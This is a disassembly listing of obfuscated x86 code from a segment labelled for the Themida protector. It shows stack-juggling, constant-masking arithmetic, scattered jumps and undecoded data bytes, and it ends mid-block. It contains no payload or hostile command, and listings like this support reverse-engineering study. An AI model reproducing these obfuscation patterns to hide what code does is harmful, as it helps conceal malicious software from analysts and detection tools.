loc_5AA014:				; CODE XREF: Themida_:005ADA62j
		mov	ebx, 4
		add	eax, 2D77484Dh
		add	eax, ebx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 2D77484Dh
		sub	eax, esi
		pop	esi
		pop	ebx
		jmp	loc_5A5BB3
; ---------------------------------------------------------------------------


loc_5AA037:				; CODE XREF: Themida_:loc_5A727Ej
		add	al, 85h
		and	al, 9Eh
		jmp	loc_5A7510
; ---------------------------------------------------------------------------


loc_5AA040:				; CODE XREF: Themida_:005AB5E9j
		sub	eax, esi
		pop	esi
		add	eax, 3A4F1A7Dh
		jmp	loc_5A2C28
; ---------------------------------------------------------------------------
		db 33h,	4, 24h
		dd 33240431h, 0FF5C2404h, 34FF2434h, 0E757E924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5AA062:				; CODE XREF: Themida_:005A3660j
		mov	eax, 342E3272h
		add	esi, eax
		pop	eax
		pop	eax
		xchg	esi, [esp]
		mov	esp, [esp]
		div	ecx
		jmp	loc_5A4CAA
; ---------------------------------------------------------------------------


loc_5AA078:				; CODE XREF: Themida_:0059D595j
		jnz	loc_599BD5
		xor	ebx, 60763E99h
		mov	ebp, ebx
		jmp	loc_5A1EB4
; ---------------------------------------------------------------------------


loc_5AA08B:				; CODE XREF: Themida_:005A1D73j
		pop	esi
		push	3CBCh
		mov	[esp], ebp
		mov	ebp, edx
		jmp	loc_5AC767
; ---------------------------------------------------------------------------
		db 66h
		dd 0E924048Bh, 0FFFFD217h
; ---------------------------------------------------------------------------


loc_5AA0A4:				; CODE XREF: Themida_:005A3F0Fj
					; Themida_:005AC827j
		xchg	esi, [esp]
		jmp	loc_5A930D
; ---------------------------------------------------------------------------


loc_5AA0AC:				; CODE XREF: Themida_:005A912Aj
		mov	ah, 5Eh
		add	bl, ah
		pop	eax
		add	bl, 0F3h
		add	bl, al
		push	ecx
		push	eax
		mov	al, 62h
		sub	al, 31h
		jb	loc_5ACCFA
		inc	al
		jo	loc_5A495A
		or	al, 0A2h
		jp	loc_5A46B4
		or	al, 5Bh
		jns	loc_5AF205
		dec	al


loc_5AA0DC:				; CODE XREF: Themida_:0059BFDDj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esi
		pop	ecx
		pop	esi
		xor	eax, ecx
		jmp	loc_5ACF73
; ---------------------------------------------------------------------------


loc_5AA0F8:				; CODE XREF: Themida_:005A07D6j
		add	edx, 506A2FC0h
		push	esi
		mov	esi, 1DFA2BBBh
		sub	edx, esi
		pop	esi
		add	edx, ecx
		add	edx, 1DFA2BBBh
		sub	edx, 506A2FC0h
		pop	ecx
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		xchg	eax, [esp]
		jmp	loc_59BAD7
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 0FFh
		dd 81FFFFFFh, 0E60F97F1h, 59CB8917h, 2941EB81h,	8D0F1036h
		dd 0FFFF4814h, 0FF070BE9h, 0C7815DFFh, 0AD6CD5ECh
		db 0B4h, 0A6h, 59h
; ---------------------------------------------------------------------------


loc_5AA14F:				; CODE XREF: Themida_:005A2650j
		add	eax, edx
		pop	edx
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_5AA9CB
; ---------------------------------------------------------------------------


loc_5AA15D:				; CODE XREF: Themida_:005A9FECj
		push	esp
		jmp	loc_5AF4B4
; ---------------------------------------------------------------------------
		db 89h
		dd 7868242Ch, 8900000Fh, 0E9241Ch
		db 59h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AA173:				; CODE XREF: Themida_:005AAC16j
		push	5A11h
		jmp	loc_59AC50
; ---------------------------------------------------------------------------


loc_5AA17D:				; CODE XREF: Themida_:005A4949j
		mov	dh, ah
		mov	cl, dh
		pop	edx
		pop	eax
		and	bh, cl
		jmp	loc_5AB490
; ---------------------------------------------------------------------------


loc_5AA18A:				; CODE XREF: Themida_:00599304j
		sub	edi, 0BA4EAB4Ch
		jmp	loc_5ABE17
; ---------------------------------------------------------------------------


loc_5AA195:				; CODE XREF: Themida_:0059BD9Aj
		mov	esi, [esp]
		add	esp, 4
		xor	esi, 396819B8h
		mov	[edi+20h], esi
		mov	esi, [esp]
		add	esp, 4
		neg	dword ptr [edi+20h]
		jle	loc_5A4783
		push	eax
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5AB966
; ---------------------------------------------------------------------------
		db 68h,	0D1h, 70h
		dd 14890000h, 0CCB55124h, 805FED80h, 860FBEE5h,	0FFFF0BECh
		dd 0F677C580h, 735AE9D5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AA1E6:				; CODE XREF: Themida_:005A67DAj
		sub	esi, 0D9A4F25h
		xor	edx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5A1FBD
; ---------------------------------------------------------------------------
		db 2Dh,	0CDh, 6Fh
		dd 10E914FBh
		db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AA203:				; CODE XREF: Themida_:005A9398j
		add	edi, 822DB06Eh
		add	ebp, 7F920035h
		jmp	loc_59A425
; ---------------------------------------------------------------------------


loc_5AA214:				; CODE XREF: Themida_:005AD881j
		push	edx
		mov	edx, 1
		add	ebx, edx
		jmp	loc_59A054
; ---------------------------------------------------------------------------


loc_5AA221:				; CODE XREF: Themida_:005A44A1j
		jmp	loc_5AF1BD
; ---------------------------------------------------------------------------
		dw 8957h
		dd 4BD55E7h, 81000000h,	0DC6854EFh, 96EF8174h, 122DB27h
		dd 96C781EFh, 0E922DB27h, 0FFFF7F5Ch, 0C681E689h, 4, 4EE81h
		dd 0D7E90000h
		db 22h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AA25B:				; CODE XREF: Themida_:005AB75Dj
		add	esp, 4
		xor	ebx, eax
		jmp	loc_5AA4F9
; ---------------------------------------------------------------------------
		dd 31241C33h, 99E9241Ch, 0FFFFFF6Ah, 685B2434h,	0AF8h
		dd 89241489h, 3E83E9E2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AA286:				; CODE XREF: Themida_:005AC39Fj
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_5988CC
; ---------------------------------------------------------------------------
		db 0Fh
		dd 0FF0F9D80h, 73B0E9FFh, 0E9ACFFFFh, 0FFFFA2C5h, 0B0E18159h
		dd 816CBD0Fh, 117777F1h, 59C82923h, 0E5E9D801h
		db 90h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AA2BF:				; CODE XREF: Themida_:005998B0j
		jg	loc_5A332E
		jmp	loc_5A89EA
; ---------------------------------------------------------------------------
		dw 0E955h
		dd 0FFFFAA69h, 4ED835Bh, 5C242C87h, 0FFB313E9h,	0C8B66FFh
		dd 0B6C3E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AA2E6:				; CODE XREF: Themida_:005A278Fj
		pop	edi
		push	dword ptr [esp]
		jmp	loc_59CE22
; ---------------------------------------------------------------------------


loc_5AA2EF:				; CODE XREF: Themida_:005AB100j
		pop	esi
		push	eax
		mov	eax, 23427930h
		sub	ebx, eax
		jmp	loc_5AE58F
; ---------------------------------------------------------------------------


loc_5AA2FD:				; CODE XREF: Themida_:005AD3AFj
		js	loc_59BB7F
		shl	edi, 5
		jns	loc_5A6C96
		mov	bh, dh
		add	al, 1


loc_5AA310:				; CODE XREF: Themida_:00599F75j
		mov	edx, 76427087h
		jmp	loc_59A298
; ---------------------------------------------------------------------------


loc_5AA31A:				; CODE XREF: Themida_:005A9B50j
		push	esi
		mov	esi, 1CCD862h
		add	edx, esi
		pop	esi
		sub	ecx, edx
		pop	edx
		sub	ebp, ecx
		pop	ecx
		add	ebp, edi
		add	ebp, 34A47916h
		mov	edi, [esp]
		jmp	loc_5AE368
; ---------------------------------------------------------------------------


loc_5AA339:				; CODE XREF: Themida_:005A7B05j
		mov	ecx, [esp]
		add	esp, 4
		push	4465h
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5A7440
; ---------------------------------------------------------------------------


loc_5AA352:				; CODE XREF: Themida_:0059AE2Aj
		push	38DCh
		mov	[esp], eax
		mov	ah, 88h
		push	ax
		xchg	bl, [esp+1]
		not	bl
		jmp	loc_5AF497
; ---------------------------------------------------------------------------


loc_5AA369:				; CODE XREF: Themida_:005AF4D4j
		push	edx
		mov	edx, esp
		jmp	loc_5ADD06
; ---------------------------------------------------------------------------


loc_5AA371:				; CODE XREF: Themida_:005A4ACBj
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_59FBA0
; ---------------------------------------------------------------------------


loc_5AA382:				; CODE XREF: Themida_:005A1F75j
		mov	[esp], edi
		mov	edi, 73B4C40h
		shl	edi, 2
		or	edi, 6F380851h
		and	edi, 376E1894h
		push	ebx
		jmp	loc_59B137
; ---------------------------------------------------------------------------


loc_5AA39F:				; CODE XREF: Themida_:005A0DC9j
		shl	eax, 5
		shr	eax, 8
		add	eax, 24483290h
		sub	eax, 0B1331EFBh
		xor	ebp, eax
		pop	eax
		neg	ebp
		jmp	loc_5A46F7
; ---------------------------------------------------------------------------


loc_5AA3B9:				; CODE XREF: Themida_:005ACFD4j
		mov	edx, ecx
		pop	ecx
		jmp	loc_599F55
; ---------------------------------------------------------------------------
		db 0BFh, 4, 0
		dd 0FE010000h, 68243C8Bh, 7143h, 0E9241489h, 1DA8h, 8704EA83h
		dd 895C2414h, 1068242Ch, 8900005Ah, 4812424h, 424h, 55535D00h
		dd 4BDh, 2C815500h, 0A52A8924h,	0BD555B18h, 18A52A89h
		dd 0E95DEB01h, 0FFFFC994h, 0F9A3EE81h, 54E958FCh, 81000035h
		dd 29181BC6h, 2434FF68h, 0FF31F7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AA429:				; CODE XREF: Themida_:005A2EF7j
		push	esp
		pop	ebp
		push	3A2Bh
		mov	[esp], edx
		push	676Ah
		mov	[esp], esi
		mov	esi, 1AE036BAh
		push	720Ch
		mov	[esp], ebp
		jmp	loc_59BD1C
; ---------------------------------------------------------------------------


loc_5AA44D:				; CODE XREF: Themida_:005A9775j
		push	ebp
		jmp	loc_5A00D0
; ---------------------------------------------------------------------------
		db 0Dh
		dd 7B651D28h, 80409535h, 58C60100h, 2BBEF681h, 0F20103A1h
		dd 60CE95Eh, 19E9FFFFh,	0E9FFFEDFh, 0FFFF9578h
; ---------------------------------------------------------------------------


loc_5AA478:				; CODE XREF: Themida_:005A2B0Cj
		add	[esp+4], edi
		mov	edi, [esp]
		push	edi
		push	esp
		pop	edi
		jmp	loc_5A4686
; ---------------------------------------------------------------------------


loc_5AA487:				; CODE XREF: Themida_:0059FED0j
		mov	ecx, 4
		jmp	loc_59D5AE
; ---------------------------------------------------------------------------


loc_5AA491:				; CODE XREF: Themida_:005ADB38j
		xor	esi, eax
		pop	eax
		push	edi
		jmp	loc_598D6B
; ---------------------------------------------------------------------------
		dw 0EDE9h
		db 0DEh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5AA49F:				; CODE XREF: Themida_:005A2B5Cj
		pop	bx
		push	ecx
		mov	cl, 1Eh
		push	ebx
		jmp	loc_5A9BF4
; ---------------------------------------------------------------------------


loc_5AA4AA:				; CODE XREF: Themida_:005AD5A0j
		mov	esi, 5B7656CAh
		add	esi, 0A489A937h
		and	eax, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_59EB15
; ---------------------------------------------------------------------------
		dd 24048F5Eh, 2434FF5Ch, 5F545758h, 2D3B850h, 0CFE95B96h
		dd 0FFFFFF3Eh, 48B2434h, 4C48124h, 81000000h, 4ECh, 243C8900h
		dd 110E9h
		db 0
; ---------------------------------------------------------------------------


loc_5AA4F9:				; CODE XREF: Themida_:005AA263j
		push	small word ptr [eax]
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5AA501:				; CODE XREF: Themida_:005AACA8j
		mov	[esp], eax
		push	ebx
		jmp	loc_59C7B2
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 3D03BB53h, 0E38143F6h, 2736679Dh,	0E054830Fh, 0E951FFFFh
		dd 0FFFF4372h, 29BAE681h
		db 78h,	4Ah, 56h
; ---------------------------------------------------------------------------


loc_5AA52F:				; CODE XREF: Themida_:0059C6C4j
		xor	ecx, 2B50F99Dh
		jmp	loc_5A7B03
; ---------------------------------------------------------------------------


loc_5AA53A:				; CODE XREF: Themida_:0059DE9Aj
					; Themida_:005A53E4j
		pop	ecx
		mov	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		push	eax
		mov	eax, 40496A21h
		add	eax, 67654108h
		shr	eax, 7
		neg	eax
		add	eax, 6B064F36h
		add	eax, 7C8B0C2Ah
		mov	esi, eax
		pop	eax
		add	esi, ecx
		pop	ecx
		shr	esi, 8
		or	esi, 59D724CEh
		sub	esi, 1
		jmp	loc_59BF96
; ---------------------------------------------------------------------------
		dd 5A2434FFh, 4CBEE9h
		db 0
; ---------------------------------------------------------------------------


loc_5AA57D:				; CODE XREF: Themida_:005997F1j
		mov	eax, esp
		jmp	loc_5A57EA
; ---------------------------------------------------------------------------
		dd 860FDDF7h, 0FFFFF59Fh, 0AB35B850h, 0C531CEB7h, 89EA8958h
		db 0CDh
; ---------------------------------------------------------------------------


loc_5AA599:				; CODE XREF: Themida_:005AF076j
		mov	ebp, 56E95F0Ah
		sub	ebp, 56E95F06h
		mov	eax, ebp
		pop	ebp
		sub	esi, eax
		jmp	loc_599DF0
; ---------------------------------------------------------------------------


loc_5AA5AE:				; CODE XREF: Themida_:005A7D9Dj
		mov	ecx, 546E19CBh
		and	ecx, 12E329E0h
		and	ecx, 3C4A58A3h
		jmp	loc_598C1E
; ---------------------------------------------------------------------------
		dd 1B7DE95Eh, 8C0FFFFFh, 0FFFF1529h, 87E65B2Dh,	58C5898Fh
		dd 57B85053h, 89433C59h, 0AE6DE9C3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AA5E6:				; CODE XREF: Themida_:005A4E85j
		sub	edi, esi
		jmp	loc_59EE4D
; ---------------------------------------------------------------------------


loc_5AA5ED:				; CODE XREF: Themida_:005A1B38j
		add	ecx, ebp
		pop	ebp
		push	eax
		mov	eax, 368929B2h
		jmp	loc_59B65C
; ---------------------------------------------------------------------------


loc_5AA5FB:				; CODE XREF: Themida_:005A7469j
		or	ebx, eax
		pop	eax
		add	ebx, 8400E01Ah
		jmp	loc_5AE524
; ---------------------------------------------------------------------------
		db 68h,	83h, 68h
		dd 8F540000h, 4832404h,	0A5E90424h
		db 36h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AA61B:				; CODE XREF: Themida_:005AD700j
		or	ebx, eax
		jmp	loc_5A881E
; ---------------------------------------------------------------------------


loc_5AA622:				; CODE XREF: Themida_:0059CA6Aj
		push	esi
		jmp	loc_5A53CC
; ---------------------------------------------------------------------------


loc_5AA628:				; CODE XREF: Themida_:005A0DE5j
		push	edi
		mov	edi, 4
		add	ebx, edi
		pop	edi
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		pop	ecx
		jmp	loc_5A4C82
; ---------------------------------------------------------------------------
		dd 5C241C87h, 0FF9461E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AA651:				; CODE XREF: Themida_:0059B382j
		add	cl, bl
		sub	cl, 44h
		jmp	loc_59952A
; ---------------------------------------------------------------------------


loc_5AA65B:				; CODE XREF: Themida_:0059E2E0j
		add	ebx, 3A9931B0h
		sub	eax, ebx
		pop	ebx
		push	0AEFh
		mov	[esp], edi
		jmp	loc_5AB06A
; ---------------------------------------------------------------------------


loc_5AA671:				; CODE XREF: Themida_:005A73B7j
		mov	esi, [esp]
		add	esp, 4
		not	ecx
		push	edi
		mov	edi, 0C762B3Eh
		jmp	loc_59CB05
; ---------------------------------------------------------------------------
		dd offset dword_510960+8
		dd 70456800h, 8F540000h, 57552404h, 4BFh, 5FFD8900h, 4246C81h
		dd 2DA3138Bh, 4244481h,	6B530916h, 4246C01h, 4246C81h
		dd 6B530916h, 4244481h,	2DA3138Bh, 5D2434FFh, 4C481h, 48F0000h
		dd 0E494E924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5AA6D2:				; CODE XREF: Themida_:005A712Aj
		mov	edx, esp
		add	edx, 4
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		jmp	loc_5A513D
; ---------------------------------------------------------------------------


loc_5AA6E7:				; CODE XREF: Themida_:005A61E1j
		push	4E9Bh
		mov	[esp], edi
		mov	edi, 369753DAh
		shl	edi, 1
		shl	edi, 2
		sub	edi, 732B3A73h
		sub	esi, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5AC5AD
; ---------------------------------------------------------------------------


loc_5AA70F:				; CODE XREF: Themida_:00598FB2j
		add	esi, 4
		push	eax
		push	edx
		mov	edx, 1A233125h
		jmp	loc_5A62E4
; ---------------------------------------------------------------------------


loc_5AA721:				; CODE XREF: Themida_:005A2CC7j
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	eax
		mov	eax, 4
		add	ecx, eax
		pop	eax
		xchg	ecx, [esp]
		jmp	loc_5A8AB9
; ---------------------------------------------------------------------------


loc_5AA74A:				; CODE XREF: Themida_:005A4EBEj
		jb	loc_5AE75F
		add	ebp, 0DBB3D02Bh
		inc	ebp
		jmp	loc_59B172
; ---------------------------------------------------------------------------
		dd 0D324248Bh, 0E99C240Ch, 0FFFF9283h
; ---------------------------------------------------------------------------


loc_5AA768:				; CODE XREF: Themida_:0059979Dj
		pop	ebp
		sub	eax, edi
		pop	edi
		mov	edx, [esp]
		push	ecx
		jmp	loc_5A1BEA
; ---------------------------------------------------------------------------
		db 0Fh,	85h, 5Dh
		dd 81000031h, 446A95EEh, 5EF5898Ch, 8152E680h, 47E417EFh
		dd 8BFE8900h, 0C481243Ch, 4, 348BF331h,	7A0EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AA7A2:				; CODE XREF: Themida_:005A3483j
		add	esi, 4
		jmp	loc_5A08C7
; ---------------------------------------------------------------------------


loc_5AA7AD:				; CODE XREF: Themida_:005AA873j
		push	edi
		jmp	loc_5ADDE7
; ---------------------------------------------------------------------------


loc_5AA7B3:				; CODE XREF: Themida_:005A5FE6j
		xor	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		and	ebx, 38DB6CA0h
		push	edx
		mov	edx, 65A04A48h
		or	edx, 2623614Bh
		jmp	loc_5AE4A5
; ---------------------------------------------------------------------------


loc_5AA7D2:				; CODE XREF: Themida_:005A49DCj
		mov	[esp], edi
		mov	edi, 3F7F625Ch
		push	edi
		pop	ebx
		pop	edi
		push	esi
		mov	esi, 57E70D63h
		shr	esi, 2
		add	esi, 4A2228F1h
		push	ebp
		mov	ebp, 4CE63D8Ch
		or	esi, ebp
		jmp	loc_59BCA8
; ---------------------------------------------------------------------------


loc_5AA7F9:				; CODE XREF: Themida_:005AB0D1j
		pop	ebp
		shr	eax, 6
		shr	eax, 3
		shr	eax, 6
		jmp	loc_5A827A
; ---------------------------------------------------------------------------


loc_5AA808:				; CODE XREF: Themida_:005A353Fj
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 3AE76D6h
		shr	edi, 6
		add	edi, 0FFFFFFFFh
		add	edi, 331E82C1h
		add	eax, edi
		pop	edi
		jmp	loc_59D3DB
; ---------------------------------------------------------------------------


loc_5AA82A:				; CODE XREF: Themida_:005AB63Ej
		add	esi, 210C7189h
		jmp	loc_59AB0D
; ---------------------------------------------------------------------------
		db 50h,	89h, 0E0h
		dd 3CFBE9h
		db 0
; ---------------------------------------------------------------------------


loc_5AA83D:				; CODE XREF: Themida_:00599A31j
		push	63B4249Ah
		mov	ecx, [esp]
		add	esp, 4
		shr	ecx, 7
		sub	ecx, 0B2F86432h
		jmp	loc_5AAAD7
; ---------------------------------------------------------------------------


loc_5AA856:				; CODE XREF: Themida_:005A1407j
		sub	eax, 5E5041C6h
		jp	loc_5A5AA2
		add	eax, 34DEEA45h
		jmp	loc_5A8633
; ---------------------------------------------------------------------------
		db 8Ah
		db 0ECh
; ---------------------------------------------------------------------------


loc_5AA86D:				; CODE XREF: Themida_:00598A10j
		push	ebx
		mov	ebx, 495D726Dh
		jmp	loc_5AA7AD
; ---------------------------------------------------------------------------


loc_5AA878:				; CODE XREF: Themida_:005ABF0Dj
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_59A361
; ---------------------------------------------------------------------------


loc_5AA887:				; CODE XREF: Themida_:005988B5j
					; Themida_:005A42D6j
		push	edx
		mov	edx, esp
		push	ebx
		mov	ebx, 1BDC02E2h
		push	30FEh
		mov	[esp], eax
		mov	eax, 2DEF4BCDh
		push	edx
		mov	edx, 784527BEh
		add	eax, edx
		pop	edx
		dec	eax
		push	2858h
		mov	[esp], ebp
		mov	ebp, 3E290FD9h
		or	eax, ebp
		pop	ebp
		jmp	loc_5A7464
; ---------------------------------------------------------------------------
		dd 0A7C2E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AA8C2:				; CODE XREF: Themida_:0059C43Fj
					; Themida_:005A125Fj
		mov	[esp], ecx
		jmp	loc_59B903
; ---------------------------------------------------------------------------


loc_5AA8CA:				; CODE XREF: Themida_:0059F761j
					; Themida_:005A9E8Cj
		sub	eax, 671432D6h
		jmp	loc_59C596
; ---------------------------------------------------------------------------


loc_5AA8D4:				; CODE XREF: Themida_:005A01CFj
		sub	ebx, 5EAF2219h
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5A6D43
; ---------------------------------------------------------------------------


loc_5AA8E5:				; CODE XREF: Themida_:005985FCj
		mov	ecx, 180B3B60h
		jmp	loc_5A2559
; ---------------------------------------------------------------------------


loc_5AA8EF:				; CODE XREF: Themida_:005AD018j
		add	al, 0D1h
		add	al, 0E5h
		push	edx
		mov	dl, 48h
		sub	al, dl
		pop	edx
		push	ecx
		jmp	loc_5A3E22
; ---------------------------------------------------------------------------


loc_5AA8FF:				; CODE XREF: Themida_:0059BBD8j
		xchg	ebx, [esp]
		pop	esp
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_59D4BD
; ---------------------------------------------------------------------------
		dd 0D1B3ECB9h, 0D2BDE958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AA916:				; CODE XREF: Themida_:0059B41Aj
		mov	eax, 270F1FA1h
		add	[esp+8], eax
		pop	eax
		add	[esp+4], esi
		sub	dword ptr [esp+4], 270F1FA1h
		pop	esi
		pop	ebx
		add	ebx, 4
		jmp	loc_599835
; ---------------------------------------------------------------------------


loc_5AA939:				; CODE XREF: Themida_:005A98DBj
		mov	ecx, [esp]
		jmp	loc_5AD0F2
; ---------------------------------------------------------------------------


loc_5AA941:				; CODE XREF: Themida_:005A8B27j
					; Themida_:loc_5AC945j
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5AA946:				; CODE XREF: Themida_:0059A366j
					; Themida_:loc_5A6595j
		mov	[esp], ebx
		jmp	loc_59D254
; ---------------------------------------------------------------------------


loc_5AA94E:				; CODE XREF: Themida_:0059C33Cj
		xor	edi, 45810BF3h
		xor	edi, 9FA19F63h
		mov	ebx, edi
		pop	edi
		sub	edx, 260750DAh
		add	edx, ebx
		add	edx, 260750DAh
		mov	ebx, [esp]
		add	esp, 4
		add	edx, 4
		xor	edx, [esp]
		jmp	loc_5A634C
; ---------------------------------------------------------------------------


loc_5AA97F:				; CODE XREF: Themida_:005A6ABFj
		push	5095h
		mov	[esp], esi
		mov	esi, 220F29BCh
		jmp	loc_5AD974
; ---------------------------------------------------------------------------
		db 51h,	89h, 0E1h
		dd 4C181h, 0C1810000h, 4, 0FEE48AE9h, 0E4BA52FFh, 816C5918h
		dd 6F54E4E9h, 339FE977h, 62680000h, 89000005h, 79BD242Ch
		dd 29FC4ED0h, 27E95DEAh
		db 4Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AA9CB:				; CODE XREF: Themida_:005AA158j
		jmp	loc_59838C
; ---------------------------------------------------------------------------
		dd 8B241487h, 0C892424h, 2474FF24h, 240C8B04h, 0FF0074E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AA9E5:				; CODE XREF: Themida_:0059B7BEj
					; Themida_:005A87D3j
		push	7CE8h
		jmp	loc_59F976
; ---------------------------------------------------------------------------


loc_5AA9EF:				; CODE XREF: Themida_:005A964Dj
		pop	ecx
		xor	eax, 11A27BE0h
		sub	edi, eax
		mov	eax, [esp]
		jmp	loc_5A5E52
; ---------------------------------------------------------------------------


loc_5AA9FF:				; CODE XREF: Themida_:005A707Dj
		mov	[esp], edi
		push	6656h
		jmp	loc_59EE7D
; ---------------------------------------------------------------------------


loc_5AAA0C:				; CODE XREF: Themida_:0059F922j
		add	esp, 4
		jmp	loc_599A07
; ---------------------------------------------------------------------------
		dd 4082F181h, 0C9812F44h, 1AFF6160h, 0FF52F7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AAA25:				; CODE XREF: Themida_:005A0E4Fj
		add	ecx, 260B540Ah
		xchg	ecx, edi
		pop	ecx
		shr	edi, 5
		xor	edi, 408B508h
		jmp	loc_5A1F2A
; ---------------------------------------------------------------------------
		dd 240C8B66h, 8904EC83h, 0FF542434h, 835E2434h,	0C68104C4h
		dd 4, 0FF858DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AAA59:				; CODE XREF: Themida_:005ACD39j
		add	esp, 4
		mov	bh, dh
		mov	edx, [esp]
		add	esp, 4
		shl	bh, 5
		inc	bh
		push	ecx
		mov	ch, 2Fh
		inc	ch
		push	dx
		push	ebx
		mov	bh, 0E5h
		add	bh, 1Bh
		xor	bh, 0D2h
		mov	dl, bh
		pop	ebx
		and	ch, dl
		pop	dx
		push	ax
		mov	al, 82h
		jmp	loc_5A7933
; ---------------------------------------------------------------------------


loc_5AAA8C:				; CODE XREF: Themida_:00599F99j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_59A095
; ---------------------------------------------------------------------------


loc_5AAA9F:				; CODE XREF: Themida_:0059BCDCj
		xchg	ebx, [esp]
		jmp	loc_5AE18F
; ---------------------------------------------------------------------------
		db 5
		dd 1A783978h, 3847055Bh, 0D801713Eh, 215FBA52h,	0F5E90D73h
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5AAABF:				; CODE XREF: Themida_:005A9148j
		add	ebx, 4
		add	ebx, 4
		push	ebx
		jmp	loc_5A0227
; ---------------------------------------------------------------------------


loc_5AAAD1:				; CODE XREF: Themida_:005A585Aj
					; Themida_:005A7DC3j
		push	ebx
		jmp	loc_598F23
; ---------------------------------------------------------------------------


loc_5AAAD7:				; CODE XREF: Themida_:005AA851j
		mov	edi, ecx
		pop	ecx
		push	edi
		xchg	ebx, [esp]
		not	ebx
		xchg	ebx, [esp]
		pop	edi
		push	edi
		not	dword ptr [esp]
		pop	edi
		push	ebp
		mov	ebp, 7F941AC7h
		jmp	loc_5A8280
; ---------------------------------------------------------------------------
		dd 16BD5557h, 4576403Ch, 4BB1ED81h, 0ED81226Ch,	53D3F062h
		dd 1D27E9h
		db 0
; ---------------------------------------------------------------------------


loc_5AAB0D:				; CODE XREF: Themida_:005A89AAj
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_5A5B25
; ---------------------------------------------------------------------------


loc_5AAB1B:				; CODE XREF: Themida_:005A1289j
		xor	eax, 15A901D6h
		sub	eax, 9807A678h
		add	edx, eax
		pop	eax
		push	esi
		mov	esi, 3F27120Eh
		sub	ebp, esi
		pop	esi
		add	ebp, edx
		jmp	loc_59EEB5
; ---------------------------------------------------------------------------


loc_5AAB38:				; CODE XREF: Themida_:005A2A1Cj
		xor	ecx, [esp]
		pop	esp
		mov	cl, 6
		add	cl, 0Ch
		add	cl, bl
		sub	cl, 0Ch
		push	dword ptr [esp]
		pop	ebx
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		jmp	loc_5A1234
; ---------------------------------------------------------------------------


loc_5AAB5E:				; CODE XREF: Themida_:005AB6A5j
		push	7B74h
		jmp	loc_5A62F1
; ---------------------------------------------------------------------------
		dd 405E089h, 5000000h, 4, 9B93E950h, 82E9FFFFh
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5AAB7F:				; CODE XREF: Themida_:0059D55Cj
		mov	edx, 2
		add	edi, edx
		pop	edx
		xchg	edi, [esp]
		mov	esp, [esp]
		idiv	cx
		push	small 10D0h
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5AABA0:				; CODE XREF: Themida_:0059C2B5j
		add	esp, 4
		push	ecx
		mov	ch, 9
		add	ch, 0B6h
		inc	ch
		jmp	loc_5AB903
; ---------------------------------------------------------------------------


loc_5AABB3:				; CODE XREF: Themida_:loc_5A69D8j
					; Themida_:005A9AEDj
		xor	edi, ebx
		neg	ebx
		xchg	ebx, edi
		dec	edi
		jno	loc_5A0E6D
		neg	edi
		jbe	loc_5A5C77
		shr	edi, 8
		and	cl, 0D7h
		pop	edx


loc_5AABCF:				; CODE XREF: Themida_:005A835Dj
		jmp	loc_59838C
; ---------------------------------------------------------------------------
		dd 0AA00E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AABDA:				; CODE XREF: Themida_:0059FE26j
		mov	esp, [esp]
		add	eax, 4
		xchg	eax, [esp]
